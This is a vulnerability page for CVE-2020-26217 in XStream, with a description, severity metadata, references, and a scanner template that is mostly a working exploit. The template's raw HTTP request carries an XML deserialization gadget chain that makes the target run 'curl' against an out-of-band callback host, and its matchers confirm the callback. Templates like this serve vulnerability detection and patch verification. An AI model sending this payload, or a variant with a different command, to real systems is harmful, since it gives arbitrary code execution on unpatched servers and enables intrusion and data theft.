CVE-2020-26217: XStream <1.4.14 - Remote Code Execution

2025-08-01 XStream PoC Public

Description

XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Users who rely on blocklists are affected.

PoC

id: CVE-2020-26217

info:
  name: XStream <1.4.14 - Remote Code Execution
  author: pwnhxl,vicrack
  severity: high
  description: |
    XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Users who rely on blocklists are affected.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: Fixed in 1.4.14.
  reference:
    - https://x-stream.github.io/CVE-2020-26217.html
    - https://github.com/x-stream/xstream/commit/0fec095d534126931c99fd38e9c6d41f5c685c1a
    - https://github.com/x-stream/xstream/security/advisories/GHSA-mw36-7c6c-q4q2
    - https://nvd.nist.gov/vuln/detail/cve-2020-26217
    - https://lists.apache.org/thread.html/r2de526726e7f4db4a7cb91b7355070779f51a84fd985c6529c2f4e9e@%3Cissues.activemq.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-26217
    cwe-id: CWE-78
    epss-score: 0.85001
    epss-percentile: 0.99699
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve,cve2020,xstream,deserialization,rce,oast,xstream_project,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <map>
          <entry>
            <jdk.nashorn.internal.objects.NativeString>
              <flags>0</flags>
              <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                <dataHandler>
                  <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                    <contentType>text/plain</contentType>
                    <is class='java.io.SequenceInputStream'>
                      <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                        <iterator class='javax.imageio.spi.FilterIterator'>
                          <iter class='java.util.ArrayList$Itr'>
                            <cursor>0</cursor>
                            <lastRet>-1</lastRet>
                            <expectedModCount>1</expectedModCount>
                            <outer-class>
                              <java.lang.ProcessBuilder>
                                <command>
                                  <string>curl</string>
                                  <string>http://{{interactsh-url}}</string>
                                </command>
                              </java.lang.ProcessBuilder>
                            </outer-class>
                          </iter>
                          <filter class='javax.imageio.ImageIO$ContainsFilter'>
                            <method>
                              <class>java.lang.ProcessBuilder</class>
                              <name>start</name>
                              <parameter-types/>
                            </method>
                            <name>start</name>
                          </filter>
                          <next/>
                        </iterator>
                        <type>KEYS</type>
                      </e>
                      <in class='java.io.ByteArrayInputStream'>
                        <buf></buf>
                        <pos>0</pos>
                        <mark>0</mark>
                        <count>0</count>
                      </in>
                    </is>
                    <consumed>false</consumed>
                  </dataSource>
                  <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
              </value>
            </jdk.nashorn.internal.objects.NativeString>
            <string>test</string>
          </entry>
        </map>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
# digest: 490a004630440220382e19a8be1b249da6ad5902644c07fa6da0f2223f9c065d0a309b0c86fff6ec022060b7f845b7fec09393fac31f1e5176f636a9603185f958d60050e75f43611bfe:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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